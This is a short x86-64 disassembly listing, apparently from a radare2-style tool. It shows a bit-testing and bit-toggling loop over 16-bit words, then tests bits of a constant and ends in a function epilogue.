movzx r9d, cx
mov word [r10], cx
xor dl, dl
lea eax, [r12 + 1]
lea eax, [r12 + rax*2]
movzx r8d, word [rsp + rax*2 + 0x20]
nop dword [rax]
movzx ecx, dl
movzx eax, r8w
shr ax, cl
test al, 1
jne 0x1402c34a7
inc dl
cmp dl, 5
jne 0x1402c3490
jmp 0x1402c34bb
movzx ecx, r9w
movzx eax, byte [rsp + 0x4d]
btc ecx, eax
movzx r9d, cx
mov word [r10], cx
movzx eax, byte [rsp + 0x4b]
add ax, r11w
xor ax, r9w
mov word [r10], ax
inc r12d
add r10, 2
cmp r12d, 5
jne 0x1402c33d0
cmp word [rsp + 0x3e], 1
jne 0x1402c3533
mov edx, 0xe377e12a
mov cl, reloc.WLDAP32.dll_Ordinal_27
mov eax, edx
shr eax, cl
test al, 1
je 0x1402c3500
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c3527
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c3527
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c3527
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c3527
mov cl, listen
shr edx, cl
test dl, 1
je 0x1402c3533
call fcn.14030b6cb
mov byte [0x1403ee124], 0x6f
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret